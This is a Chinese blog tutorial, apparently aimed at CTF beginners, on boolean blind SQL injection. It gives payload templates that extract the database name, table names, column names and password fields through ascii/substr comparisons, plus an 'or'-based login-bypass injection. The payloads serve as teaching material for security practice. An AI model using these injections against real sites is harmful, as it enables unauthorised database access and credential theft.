SQL注入——盲注

盲注的原理

前言

盲注是sql注入的一种,主要用于没有显示位的注入,页面像一个机器人一样不报错代表yes,没有任何显示代表no,我们可以根据yes和no来判断数据库的名字,表名,列明以及字段。

首先第一步还是判断闭合符

我们输入 1' 后发现页面为空
在这里插入图片描述
我们在1'后面加上--+,发现页面恢复正常
在这里插入图片描述

猜库名

我们知道了闭合符号后,即可进行一些sql语句的注入猜得库名。
先通过 1' and (lenth(database())>1)--+ 可以修改后面1的值来判断库名的长度。
在这里插入图片描述
经过一番尝试得出长度为8
通过ascii码猜解库名:

1' and (ascii(substr(database(),{1},1))>{97})--+(中括号不带入代码)

通过改变第一个中括号中的1的值来按顺序判断库名的英文字母
通过改变后面中括号中97的值并用二分法来判断该位置下字母的ASCII码的值,从而得到该位置的英文字母,最后得出数据库的名字。

猜数据表名

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{101} --+(中括号不带入代码)

方法与猜库名基本一致,通过修改中括号中的内容进行判断。
值得注意的是有许多数据表通过修改limit中括号里的0来判断其他表名,从而找到我们需要查找的表名。

猜列名

1' and (ascii(substr((select column_name from information_schema.columns where table_name='{users}' limit {0},1),{1},1)))>{100} --+(中括号不带入代码)

代码中的中括号又多了一个变量,那就是表名,users可以改变成我们想要查询的数据库,其他中括号里的变量用法和上面一致。

爆字段

1' and (ascii(substr(( select {password} from {users} limit {0},1),{1},1)))>{1}--+ 

可能有新的朋友早就发现了,手注的话真的是一年一道题,也看不到这里了吧,我不是坑各位,而是我真的被各种工具坑,等我学会了各种工具的详细用法再来写吧,况且其他大佬的博客都有用法,我个菜鸡还是先慢慢摸索工具吧,还有就是脚本,等我会写了以后多给大家一些脚本福利,本文只是盲注最简单的基础,遇到大部分题要记得随机应变,先找到网页回答你的yes或no的方法,再进行语句的注入,
比如给一个登录框你通过万能密码进入后提示flag再数据库中,这很正常,我们就可以吧是否登录成功作为yes或no来进行sal盲注
1" or (lenth(database())>1)--+or后面直接跟盲注语句就好了,切记随机应变。
在这里插入图片描述

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值